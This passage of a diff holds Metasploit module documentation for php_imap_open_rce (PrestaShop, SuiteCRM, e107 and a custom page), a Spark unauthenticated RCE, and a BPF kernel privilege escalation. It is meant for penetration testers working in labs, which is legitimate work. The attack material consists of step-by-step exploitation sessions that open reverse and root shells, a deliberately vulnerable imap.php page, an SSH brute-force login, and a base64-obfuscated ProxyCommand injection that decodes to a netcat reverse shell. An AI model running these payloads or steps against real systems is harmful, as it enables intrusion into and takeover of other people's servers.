sudo mysql_secure_installation
|
||||
sudo systemctl restart mysql.service
|
||||
sudo apt install php libapache2-mod-php php-common php-mbstring php-xmlrpc php-soap php-gd php-xml php-intl php-mysql php-cli php-mcrypt php-ldap php-zip php-curl php-imap
|
||||
sudo phpenmod imap
|
||||
sudo mysql -u root -p
|
||||
```
|
||||
|
||||
Run the following database commands:
|
||||
|
||||
```
|
||||
CREATE DATABASE prestashop;
|
||||
CREATE USER 'prestashopuser'@'localhost' IDENTIFIED BY 'new_password_here';
|
||||
GRANT ALL ON prestashop.* TO 'prestashopuser'@'localhost' IDENTIFIED BY 'user_password_here' WITH GRANT OPTION;
|
||||
FLUSH PRIVILEGES;
|
||||
EXIT;
|
||||
```
|
||||
|
||||
```
|
||||
cd /tmp && curl -O https://download.prestashop.com/download/releases/prestashop_1.7.2.4.zip
|
||||
unzip prestashop_1.7.2.4.zip
|
||||
sudo mkdir -p /var/www/html/prestashop
|
||||
sudo unzip prestashop.zip -d /var/www/html/prestashop/
|
||||
sudo chown -R www-data:www-data /var/www/html/prestashop/
|
||||
sudo chmod -R 755 /var/www/html/prestashop/
|
||||
sudo nano /etc/apache2/sites-available/prestashop.conf
|
||||
```
|
||||
|
||||
Utilize the following configuration:
|
||||
|
||||
```
|
||||
<VirtualHost *:80>
|
||||
ServerAdmin admin@example.com
|
||||
DocumentRoot /var/www/html/prestashop/
|
||||
ServerName example.com
|
||||
ServerAlias www.example.com
|
||||
|
||||
<Directory /var/www/html/prestashop/>
|
||||
Options +FollowSymlinks
|
||||
AllowOverride All
|
||||
Require all granted
|
||||
</Directory>
|
||||
|
||||
ErrorLog ${APACHE_LOG_DIR}/error.log
|
||||
CustomLog ${APACHE_LOG_DIR}/access.log combined
|
||||
|
||||
</VirtualHost>
|
||||
```
|
||||
|
||||
```
|
||||
sudo a2ensite prestashop.conf
|
||||
sudo a2enmod rewrite
|
||||
sudo a2dissite 000-default
|
||||
sudo systemctl restart apache2.service
|
||||
```
|
||||
|
||||
Browse to the website, and install with default information.
|
||||
|
||||
```
|
||||
sudo rm -rf /var/www/html/prestashop/install/
|
||||
```
|
||||
|
||||
Now browse to `/admin`, and the first time you'll be redirected to the admin URI. If not, `sudo ls /var/www/html/prestashop/admin*`.
|
||||
|
||||
### SuiteCRM 7.8.23 on Ubuntu 16.04
|
||||
|
||||
Mostly derived from [vultr.com](https://www.vultr.com/docs/how-to-install-suitecrm-on-ubuntu-16-04) but adding php's zip and mbstring packages.
|
||||
|
||||
```
|
||||
sudo apt-get install apache2 mariadb-server php7.0 php7.0-mysql php7.0-gd php7.0-curl php7.0-imap libapache2-mod-php7.0 php7.0-mcrypt php7.0-xml php7.0-json php7.0-mbstring php7.0-zip -y
|
||||
sudo systemctl restart apache2
|
||||
sudo phpenmod imap
|
||||
sudo mysql_secure_installation
|
||||
```
|
||||
|
||||
```
|
||||
wget https://suitecrm.com/files/156/SuiteCRM-7.8/322/SuiteCRM-7.8.23.zip
|
||||
unzip SuiteCRM-7.8.23.zip
|
||||
sudo mv SuiteCRM-7.8.23 /var/www/html/suitecrm
|
||||
sudo chown -R www-data:www-data /var/www/html/suitecrm
|
||||
sudo chmod -R 777 /var/www/html/suitecrm
|
||||
sudo nano /etc/apache2/sites-available/suitecrm.conf
|
||||
```
|
||||
|
||||
Utilize the following configuration:
|
||||
|
||||
```
|
||||
<VirtualHost *:80>
|
||||
ServerAdmin admin@yourdomain.com
|
||||
DocumentRoot /var/www/html/suitecrm/
|
||||
ServerName yourdomain.com
|
||||
ServerAlias www.yourdomain.com
|
||||
<Directory /var/www/html/suitecrm/>
|
||||
Options FollowSymLinks
|
||||
AllowOverride All
|
||||
</Directory>
|
||||
ErrorLog /var/log/apache2/suitecrm-error_log
|
||||
CustomLog /var/log/apache2/suitecrm-access_log common
|
||||
</VirtualHost>
|
||||
```
|
||||
|
||||
```
|
||||
sudo a2ensite suitecrm
|
||||
sudo a2dissite 000-default.conf
|
||||
sudo systemctl restart apache2
|
||||
sudo systemctl restart mysql
|
||||
```
|
||||
|
||||
### e107 2.1.9 on Ubuntu 16.04
|
||||
|
||||
Mostly derived from [websiteforstudents.com](https://websiteforstudents.com/install-e107-cms-on-ubuntu-16-04-18-04-18-10-with-apache2-mariadb-and-php-7-2/),
|
||||
however with php 7.0 instead of 7.2.
|
||||
|
||||
```
|
||||
sudo apt install apache2 mariadb-server mariadb-client php7.0 libapache2-mod-php7.0 php7.0-common php7.0-mysql php7.0-gmp php7.0-curl php7.0-intl php7.0-mbstring php7.0-xmlrpc php7.0-gd php7.0-bcmath php7.0-xml php7.0-cli php7.0-zip php7.0-imap -y
|
||||
sudo systemctl restart apache2.service
|
||||
sudo systemctl stop mysql.service
|
||||
sudo systemctl start mysql.service
|
||||
sudo systemctl enable mysql.service
|
||||
sudo mysql_secure_installation
|
||||
sudo mysql -u root -p
|
||||
```
|
||||
|
||||
Run the following database commands:
|
||||
|
||||
```
|
||||
CREATE DATABASE e107;
|
||||
CREATE USER 'e107user'@'localhost' IDENTIFIED BY 'new_password_here';
|
||||
GRANT ALL ON e107.* TO 'e107user'@'localhost' IDENTIFIED BY 'new_password_here' WITH GRANT OPTION;
|
||||
FLUSH PRIVILEGES;
|
||||
EXIT;
|
||||
```
|
||||
|
||||
```
|
||||
cd /tmp
|
||||
wget http://sourceforge.net/projects/e107/files/e107/e107%20v2.1.9/e107_2.1.9_full.zip
|
||||
sudo unzip -d /var/www/html/e107 /tmp/e107_2.1.9_full.zip
|
||||
sudo chown -R www-data:www-data /var/www/html/e107/
|
||||
sudo chmod -R 755 /var/www/html/e107/
|
||||
sudo nano /etc/apache2/sites-available/e107.conf
|
||||
```
|
||||
|
||||
Utilize the following configuration:
|
||||
|
||||
```
|
||||
<VirtualHost *:80>
|
||||
ServerAdmin admin@example.com
|
||||
DocumentRoot /var/www/html/e107
|
||||
ServerName example.com
|
||||
ServerAlias www.example.com
|
||||
|
||||
<Directory /var/www/html/e107/>
|
||||
Options FollowSymlinks
|
||||
AllowOverride All
|
||||
Require all granted
|
||||
</Directory>
|
||||
|
||||
ErrorLog ${APACHE_LOG_DIR}/error.log
|
||||
CustomLog ${APACHE_LOG_DIR}/access.log combined
|
||||
|
||||
<Directory /var/www/html/e107/>
|
||||
RewriteEngine on
|
||||
RewriteBase /
|
||||
RewriteCond %{REQUEST_FILENAME} !-f
|
||||
RewriteRule ^(.*) index.php [PT,L]
|
||||
</Directory>
|
||||
</VirtualHost>
|
||||
```
|
||||
|
||||
```
|
||||
sudo a2ensite e107.conf
|
||||
sudo a2enmod rewrite
|
||||
sudo a2dissite 000-default
|
||||
sudo systemctl restart apache2.service
|
||||
sudo systemctl restart mysql.server
|
||||
sudo systemctl restart mysql.service
|
||||
```
|
||||
|
||||
### Custom Page on Ubuntu 16.04
|
||||
|
||||
Make sure `php-imap` is installed and enabled. Create `imap.php` with the following content.
|
||||
|
||||
```
|
||||
<html>
|
||||
<body>
|
||||
<p>imap_open example exploitation page. Use URL parameter 'server'. Ex http://1.1.1.1/imap.php?server=EXPLOITHERE</p>
|
||||
<?php
|
||||
$server = htmlspecialchars($_GET["server"]);
|
||||
$mbox = @imap_open("{".$server.":143}INBOX",'username','password');
|
||||
echo '<p>Received: '.$server.'</p>';
|
||||
|
||||
$errors = imap_errors();
|
||||
if (is_array($errors)) {
|
||||
$errors = array_unique($errors);
|
||||
}
|
||||
if (count($errors) && is_array($errors)) {
|
||||
$str_errors = '';
|
||||
foreach ($errors as $error) {
|
||||
$str_errors .= $error . ', ';
|
||||
}
|
||||
$str_errors = rtrim(trim($str_errors), ',');
|
||||
}
|
||||
if (!$mbox) {
|
||||
echo '<p>Errors: ' . ($str_errors);
|
||||
}
|
||||
?>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install a vulnerable application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/linux/http/php_imap_open_rce```
|
||||
4. Do: ```set TARGETURI [URI]```
|
||||
5. Do: ```set USERNAME [username]```
|
||||
6. Do: ```set PASSWORD [password]```
|
||||
7. Do: ```set target [target]```
|
||||
8. Do: ```run```
|
||||
9. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
The URI for the target. This may change by target. Default is ` `.
|
||||
Prestashop should be the admin URI, similar to `/admin2769gx8k3`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### PrestaShop 1.7.2.4 on Ubuntu 16.04.4 with PHP 7.0
|
||||
|
||||
```
|
||||
resource (presta.rb)> use exploit/linux/http/php_imap_open_rce
|
||||
resource (presta.rb)> set TARGETURI /admin2769gx8k3
|
||||
TARGETURI => /admin2769gx8k3
|
||||
resource (presta.rb)> set USERNAME ubuntu@none.com
|
||||
USERNAME => ubuntu@none.com
|
||||
resource (presta.rb)> set PASSWORD ubuntuubuntu
|
||||
PASSWORD => ubuntuubuntu
|
||||
resource (presta.rb)> set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
resource (presta.rb)> set lhost 2.2.2.2
|
||||
lhost => 2.2.2.2
|
||||
resource (presta.rb)> set target 0
|
||||
target => 0
|
||||
resource (presta.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (presta.rb)> exploit
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] Redirected to http://1.1.1.1/admin2769gx8k3/
|
||||
[*] Redirected to http://1.1.1.1/admin2769gx8k3/index.php?controller=AdminLogin&token=6dab1f7b4eea17d2b44a8929ead9df68
|
||||
[*] Token: 6dab1f7b4eea17d2b44a8929ead9df68 and Login Redirect: http://1.1.1.1/admin2769gx8k3/&token=09283f9efc45fc75eca3b8d5f1b1f92f
|
||||
[*] Logging in with ubuntu@none.com:ubuntuubuntu
|
||||
[*] Login JSON Response: {"hasErrors":false,"redirect":"http:\/\/1.1.1.1\/admin2769gx8k3\/index.php?controller=AdminDashboard&token=e324e8b387afb1874947db9b1ba411c8"}
|
||||
[+] Login Success, loading admin dashboard to pull tokens
|
||||
[*] Customer Threads Token: ec653c8bfc09754fc63aaa94101911dc
|
||||
[+] Sending Payload with Final Token: ec653c8bfc09754fc63aaa94101911dc
|
||||
[*] IMAP server change left on server, manual revert required.
|
||||
[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:41964) at 2018-11-20 18:29:28 -0500
|
||||
|
||||
uname -a
|
||||
Linux ubuntu1604 4.4.0-138-generic #164-Ubuntu SMP Tue Oct 2 17:16:02 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
|
||||
### SuiteCRM 7.8.23 on Ubuntu 16.04.4 with PHP 7.0
|
||||
|
||||
```
|
||||
resource (suitecrm.rb)> use exploit/linux/http/php_imap_open_rce
|
||||
resource (suitecrm.rb)> set target 1
|
||||
target => 1
|
||||
resource (suitecrm.rb)> set TARGETURI /
|
||||
TARGETURI => /
|
||||
resource (suitecrm.rb)> set USERNAME admin
|
||||
USERNAME => admin
|
||||
resource (suitecrm.rb)> set PASSWORD admin
|
||||
PASSWORD => admin
|
||||
resource (suitecrm.rb)> set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
resource (suitecrm.rb)> set lhost 2.2.2.2
|
||||
lhost => 2.2.2.2
|
||||
resource (suitecrm.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (suitecrm.rb)> exploit
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] Loading login page
|
||||
[*] Logging in as admin:admin
|
||||
[+] Login Success
|
||||
[*] Loading InboundEmail page
|
||||
[+] Sending payload with group_id f047031d-1697-3d0d-bd39-5bf499e5470a
|
||||
[*] IMAP server config left on server, manual removal required.
|
||||
[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:32806) at 2018-11-20 18:31:40 -0500
|
||||
|
||||
uname -a
|
||||
Linux ubuntu1604 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
|
||||
### e107 2.1.9 on Ubuntu 16.04.4 with PHP 7.0
|
||||
|
||||
```
|
||||
resource (e107.rb)> use exploit/linux/http/php_imap_open_rce
|
||||
resource (e107.rb)> set target 2
|
||||
target => 2
|
||||
resource (e107.rb)> set TARGETURI /
|
||||
TARGETURI => /
|
||||
resource (e107.rb)> set USERNAME admin
|
||||
USERNAME => admin
|
||||
resource (e107.rb)> set PASSWORD admin
|
||||
PASSWORD => admin
|
||||
resource (e107.rb)> set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
resource (e107.rb)> set lhost 2.2.2.2
|
||||
lhost => 2.2.2.2
|
||||
resource (e107.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (e107.rb)> exploit
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] Logging in as admin:admin
|
||||
[+] Login Success
|
||||
[*] Checking if Cron is enabled for triggering
|
||||
[+] Storing payload in mail settings
|
||||
[*] Loading cron page to execute job manually
|
||||
[+] Triggering manual run of mail bounce check cron to execute payload with cron id 3 and etoken 3b6aa8ca02dbd2bf8218874606c5e2f1
|
||||
[*] IMAP server config left on server, manual removal required.
|
||||
[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:50742) at 2018-11-23 20:01:13 -0500
|
||||
|
||||
uname -a
|
||||
Linux ubuntu1604 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
|
||||
### Custom Page on Ubuntu 16.04
|
||||
|
||||
Using the `imap.php` page listed above.
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/http/php_imap_open_rce
|
||||
msf5 exploit(linux/http/php_imap_open_rce) > set target 3
|
||||
target => 3
|
||||
msf5 exploit(linux/http/php_imap_open_rce) > set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
msf5 exploit(linux/http/php_imap_open_rce) > set rhost 2.2.2.2
|
||||
rhost => 2.2.2.2
|
||||
msf5 exploit(linux/http/php_imap_open_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Listener started for 300 seconds
|
||||
[+] POST request connection string: x -oProxyCommand=`echo$IFS$()bWtmaWZvIC90bXAvaWVib3U7IG5jIDE5Mi4xNjguMi4xMTcgNDQ0NCAwPC90bXAvaWVib3UgfCAvYmluL3NoID4vdG1wL2llYm91IDI+JjE7IHJtIC90bXAvaWVib3U=|base64$IFS$()-d|bash`}
|
||||
[+] GET request connection string: x%20-oProxyCommand=%60echo$IFS$()bWtmaWZvIC90bXAvaWVib3U7IG5jIDE5Mi4xNjguMi4xMTcgNDQ0NCAwPC90bXAvaWVib3UgfCAvYmluL3NoID4vdG1wL2llYm91IDI%2BJjE7IHJtIC90bXAvaWVib3U=%7Cbase64$IFS$()-d%7Cbash%60%7D
|
||||
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:41124) at 2018-11-25 10:52:55 -0500
|
||||
|
||||
uname -a
|
||||
Linux ubuntu1604 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
|
||||
The GET request was utilized, and the final URL utilized was: `http://2.2.2.2/imap.php?server=x%20-oProxyCommand=%60echo$IFS$()bWtmaWZvIC90bXAvaWVib3U7IG5jIDE5Mi4xNjguMi4xMTcgNDQ0NCAwPC90bXAvaWVib3UgfCAvYmluL3NoID4vdG1wL2llYm91IDI%2BJjE7IHJtIC90bXAvaWVib3U=%7Cbase64$IFS$()-d%7Cbash%60%7D`
|
|
@ -0,0 +1,70 @@
|
|||
## Description
|
||||
|
||||
This module exploits an unauthenticated command execution vulnerability in Apache Spark with standalone cluster mode through REST API.
|
||||
It uses the function CreateSubmissionRequest to submit a malious java class and trigger it.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
https://github.com/vulhub/vulhub/tree/master/spark/unacc
|
||||
|
||||
`docker-compose up -d`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. get session on target
|
||||
2. `use exploit/linux/http/spark_unauth_rce`
|
||||
3. `set payload <payload>`
|
||||
4. `set rhosts <rhosts>`
|
||||
5. `set rport <rport>`
|
||||
6. `set srvhost <srvhost>`
|
||||
7. `set srvport <srvport>`
|
||||
8. `set lport <lport>`
|
||||
9. `set lhost <lhost>`
|
||||
10. `exploit`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Spark 2.3.1
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/http/spark_unauth_rce
|
||||
msf5 exploit(linux/http/spark_unauth_rce) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf5 exploit(linux/http/spark_unauth_rce) > set rport 6066
|
||||
rport => 6066
|
||||
msf5 exploit(linux/http/spark_unauth_rce) > set srvhost 10.139.14.167
|
||||
srvhost => 10.139.14.167
|
||||
msf5 exploit(linux/http/spark_unauth_rce) > set srvport 9999
|
||||
srvport => 9999
|
||||
msf5 exploit(linux/http/spark_unauth_rce) > set payload java/meterpreter/reverse_tcp
|
||||
payload => java/meterpreter/reverse_tcp
|
||||
msf5 exploit(linux/http/spark_unauth_rce) > set lhost 10.139.14.167
|
||||
lhost => 10.139.14.167
|
||||
msf5 exploit(linux/http/spark_unauth_rce) > set lport 5555
|
||||
lport => 5555
|
||||
msf5 exploit(linux/http/spark_unauth_rce) > exploit
|
||||
[*] Exploit running as background job 3.
|
||||
[*] Exploit completed, but no session was created.
|
||||
|
||||
[*] Started reverse TCP handler on 10.139.14.167:5555
|
||||
msf5 exploit(linux/http/spark_unauth_rce) > [*] Starting up our web service ...
|
||||
[*] Using URL: http://10.139.14.167:9999/feTYHNiHufrGI
|
||||
[*] 127.0.0.1:6066 - Sending the payload to the server...
|
||||
[*] Sending stage (53867 bytes) to 10.139.14.167
|
||||
[*] Meterpreter session 2 opened (10.139.14.167:5555 -> 10.139.14.167:56021) at 2018-11-12 16:59:33 +0800
|
||||
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
2 meterpreter java/linux root @ 96b2135aee9c 10.139.14.167:5555 -> 10.139.14.167:56021 (127.0.0.1)
|
||||
|
||||
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > sessions -i 2
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter >
|
||||
```
|
|
@ -10,10 +10,10 @@
|
|||
4.4.0 < 4.4.0-53, including Linux distros based on Ubuntu, such as
|
||||
Linux Mint.
|
||||
|
||||
The target system must have unprivileged user namespaces enabled and
|
||||
two or more CPU cores.
|
||||
The target system must have unprivileged user namespaces enabled,
|
||||
two or more CPU cores, and SMAP must be disabled.
|
||||
|
||||
Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation
|
||||
Bypasses for SMEP and KASLR are included. Failed exploitation
|
||||
may crash the kernel.
|
||||
|
||||
|
||||
|
|
|
@ -1,167 +1,123 @@
|
|||
## Notes
|
||||
|
||||
This module (and the original exploit) are written in several parts: `hello`, `doubleput`, and `suidhelper`.
|
||||
Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF)
|
||||
does not properly reference count file descriptors, resulting
|
||||
in a use-after-free, which can be abused to escalate privileges.
|
||||
|
||||
Mettle at times on this exploit will give back an invalid session number error. In these cases `payload/linux/x64/shell/bind_tcp` seemed to always work.
|
||||
The target system must be compiled with `CONFIG_BPF_SYSCALL`
|
||||
and must not have `kernel.unprivileged_bpf_disabled` set to 1.
|
||||
|
||||
As of PR submission, the original shell becomes unresposive when the root shell occurs. Metasm fails to compile due to `fuse.h` being required.
|
||||
|
||||
As of PR submission, killing of the process `hello` and `doubleput` has to occur manually. `/tmp/fuse_mount` also needs to be unmounted and deleted.
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Ubuntu 16.04 (x64) kernel 4.4.0-21-generic (default kernel)
|
||||
* Ubuntu 16.04 (x64) kernel 4.4.0-38-generic
|
||||
* Ubuntu 16.04 (x64) kernel 4.4.0-42-generic
|
||||
* Ubuntu 16.04 (x64) kernel 4.4.0-98-generic
|
||||
* Ubuntu 16.04 (x64) kernel 4.4.0-140-generic
|
||||
|
||||
This module was not tested against, but may work against:
|
||||
|
||||
* Fedora 24 < [kernel-4.5.4-300.fc24](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
|
||||
* Fedora 23 < [kernel-4.5.5-201.fc23](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
|
||||
* Fedora 22 < [kernel-4.4.10-200.fc22](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
|
||||
* Debian >= 4.4~rc4-1~exp1, < Fixed in version [4.5.3-1](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=82
|
||||
* Ubuntu 14.04.1 <= [4.4.0-22.39](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1578705/comments/3)
|
||||
|
||||
|
||||
## Creating A Testing Environment
|
||||
|
||||
There are a few requirements for this module to work:
|
||||
|
||||
1. `CONFIG_BPF_SYSCALL=y` must be set in the kernel (default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
|
||||
2. `kernel.unprivileged_bpf_disabled` can't be set to `1` (default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
|
||||
3. fuse needs to be installed (non-default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
|
||||
1. `CONFIG_BPF_SYSCALL=y` must be set in the kernel (default on Ubuntu 16.04)
|
||||
2. `kernel.unprivileged_bpf_disabled` can't be set to `1` (default on Ubuntu 16.04)
|
||||
3. fuse needs to be installed (non-default on Ubuntu 16.04)
|
||||
|
||||
Using Ubuntu 16.04, simply `sudo apt-get install fuse` and you're all set!
|
||||
|
||||
This module has been tested against:
|
||||
The `libfuse-dev` package must be installed to test live-compiling on the target:
|
||||
|
||||
1. Ubuntu 16.04 linux-image-4.4.0-38-generic (pre-compile & live compile)
|
||||
2. Ubuntu 16.04 (default kernel) linux-image-4.4.0-21-generic (pre-compile & live compile)
|
||||
`apt-get install libfuse-dev=2.9.4-1ubuntu3.1`
|
||||
|
||||
This module was not tested against, but may work against:
|
||||
|
||||
1. Fedora 24 < [kernel-4.5.4-300.fc24](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
|
||||
2. Fedora 23 < [kernel-4.5.5-201.fc23](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
|
||||
3. Fedora 22 < [kernel-4.4.10-200.fc22](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
|
||||
4. Debian >= 4.4~rc4-1~exp1, < Fixed in version [4.5.3-1](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=823603)
|
||||
5. Ubuntu 14.04.1 <= [4.4.0-22.39](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1578705/comments/3)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Exploit a box via whatever method
|
||||
4. Do: `use exploit/linux/local/bpf_priv_esc`
|
||||
5. Do: `set session #`
|
||||
6. Do: `set verbose true`
|
||||
7. Do: `exploit`
|
||||
3. Do: `use exploit/linux/local/bpf_priv_esc
|
||||
4. Do: `set session #`
|
||||
5. Do: `set verbose true`
|
||||
6. Do: `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
**MAXWAIT**
|
||||
|
||||
The first stage of this priv esc can take ~35seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to 120 (seconds)
|
||||
The first stage of this priv esc can take ~35 seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to `120` (seconds)
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A folder we can write files to. Defaults to /tmp
|
||||
A folder we can write files to. Defaults to `/tmp`
|
||||
|
||||
**COMPILE**
|
||||
|
||||
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to Auto
|
||||
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to `Auto`
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 16.04 (with Linux 4.4.0-38-generic)
|
||||
|
||||
#### Initial Access
|
||||
|
||||
msf > use auxiliary/scanner/ssh/ssh_login
|
||||
msf auxiliary(ssh_login) > set rhosts 192.168.199.130
|
||||
rhosts => 192.168.199.130
|
||||
msf auxiliary(ssh_login) > set username ubuntu
|
||||
username => ubuntu
|
||||
msf auxiliary(ssh_login) > set password ubuntu
|
||||
password => ubuntu
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] SSH - Starting bruteforce
|
||||
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) Linux ubuntu 4.4.0-38-generic #57-Ubuntu SMP Tue Sep 6 15:42:33 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 1 opened (192.168.199.131:39175 -> 192.168.199.130:22) at 2016-09-27 12:25:31 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
#### Escalate
|
||||
### Ubuntu 16.04 (with Linux 4.4.0-21-generic)
|
||||
|
||||
In this scenario, gcc and libfuse-dev are both installed so we can live compile on the system.
|
||||
|
||||
msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc
|
||||
msf exploit(bpf_priv_esc) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(bpf_priv_esc) > set session 1
|
||||
```
|
||||
msf5 > use exploit/linux/local/bpf_priv_esc
|
||||
msf5 exploit(linux/local/bpf_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf exploit(bpf_priv_esc) > set lhost 192.168.199.131
|
||||
lhost => 192.168.199.131
|
||||
msf exploit(bpf_priv_esc) > exploit
|
||||
msf5 exploit(linux/local/bpf_priv_esc) > set verbose true
|
||||
verbose => true
|
||||
msf5 exploit(linux/local/bpf_priv_esc) > set lhost 172.16.191.188
|
||||
lhost => 172.16.191.188
|
||||
msf5 exploit(linux/local/bpf_priv_esc) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.199.131:4444
|
||||
[+] CONFIG_BPF_SYSCAL is set to yes
|
||||
[+] kernel.unprivileged_bpf_disabled is NOT set to 1
|
||||
[+] fuse is installed
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[+] Kernel version 4.4.0-21-generic appears to be vulnerable
|
||||
[+] fuse package is installed
|
||||
[+] /tmp/fuse_mount doesn't exist
|
||||
[+] Kernel config has CONFIG_BPF_SYSCALL enabled
|
||||
[+] Unprivileged BPF loading is permitted
|
||||
[+] libfuse-dev is installed
|
||||
[+] gcc is installed
|
||||
[*] Live compiling exploit on system
|
||||
[*] Writing files to target
|
||||
[*] Writing hello to /tmp/hello.c
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 2760 bytes in 1 chunks of 9767 bytes (octal-encoded), using printf
|
||||
[*] Writing doubleput to /tmp/doubleput.c
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 5182 bytes in 1 chunks of 18218 bytes (octal-encoded), using printf
|
||||
[*] Writing suidhelper to /tmp/suidhelper.c
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 352 bytes in 1 chunks of 1219 bytes (octal-encoded), using printf
|
||||
[*] Compiling all modules on target
|
||||
[*] Writing payload to /tmp/AyDJSaMM
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf
|
||||
[*] Starting execution of priv esc. This may take about 120 seconds
|
||||
[+] got root, starting payload
|
||||
[+] pkg-config is installed
|
||||
[*] Live compiling exploit on system...
|
||||
[*] Writing '/tmp/hello.c' (2682 bytes) ...
|
||||
[*] Writing '/tmp/doubleput.c' (5168 bytes) ...
|
||||
[*] Writing '/tmp/suidhelper.c' (333 bytes) ...
|
||||
[*] Uploading payload...
|
||||
[*] Writing '/tmp/.FVfiRBKRDX7r' (285 bytes) ...
|
||||
[*] Launching exploit. This may take up to 120 seconds.
|
||||
[+] Success! set-uid root /tmp/suidhelper
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (2412016 bytes) to 192.168.199.130
|
||||
[*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:43734) at 2016-09-27 12:26:06 -0400
|
||||
[*] Cleaning up...
|
||||
[*] Sending stage (861348 bytes) to 172.16.191.141
|
||||
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.141:34804) at 2018-12-15 00:20:04 -0500
|
||||
[+] Deleted /tmp/hello.c
|
||||
[+] Deleted /tmp/hello
|
||||
[+] Deleted /tmp/doubleput.c
|
||||
[+] Deleted /tmp/doubleput
|
||||
[+] Deleted /tmp/suidhelper.c
|
||||
[+] Deleted /tmp/.FVfiRBKRDX7r
|
||||
